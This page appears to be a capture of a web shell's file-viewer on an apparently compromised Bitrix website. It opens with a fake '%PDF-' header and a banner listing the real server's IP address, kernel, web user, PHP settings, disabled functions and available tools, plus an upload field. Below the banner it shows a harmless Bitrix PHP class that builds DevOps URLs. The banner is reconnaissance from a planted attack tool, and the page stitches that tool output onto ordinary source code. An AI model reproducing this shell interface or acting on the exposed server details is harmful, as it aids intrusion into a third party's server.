%PDF- %PDF-
Server IP : 37.220.80.31 / Your IP : 13.59.156.15 Web Server : Apache/2.4.52 (Ubuntu) System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64 User : www-root ( 1010) PHP Version : 7.4.33 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/modules/rest/lib/url/ |
Upload File : |
<?php namespace Bitrix\Rest\Url; class DevOps extends Base { protected $directory = '/devops/'; protected $pages = [ 'index' => '', 'statistic' => 'statistic/', 'list' => 'list/', 'section' => 'section/#SECTION_CODE#/', 'edit' => 'edit/#ELEMENT_CODE#/#ID#/', 'iframe' => 'iframe/', ]; public function getIndexUrl() { return $this->getUrl('index'); } public function getStatisticUrl() { return $this->getUrl('statistic'); } public function getListUrl() { return $this->getUrl('list'); } public function getIframeUrl($query = null) { $params = null; if(!is_null($query)) { $params = [ 'query' => $query ]; } return $this->getUrl('iframe', null, null, $params); } public function getIntegrationSectionUrl($code = null) { $replace = null; $subject = null; if(!is_null($code)) { $replace = [ '#SECTION_CODE#' ]; $subject = [ $code ]; } return $this->getUrl( 'section', $replace, $subject ); } public function getIntegrationEditUrl($id = null, $elementCode = null) { $replace = null; $subject = null; if(!is_null($id) && !is_null($elementCode)) { $replace = [ '#ID#', '#ELEMENT_CODE#' ]; $subject = [ $id, $elementCode ]; } return $this->getUrl( 'edit', $replace, $subject ); } }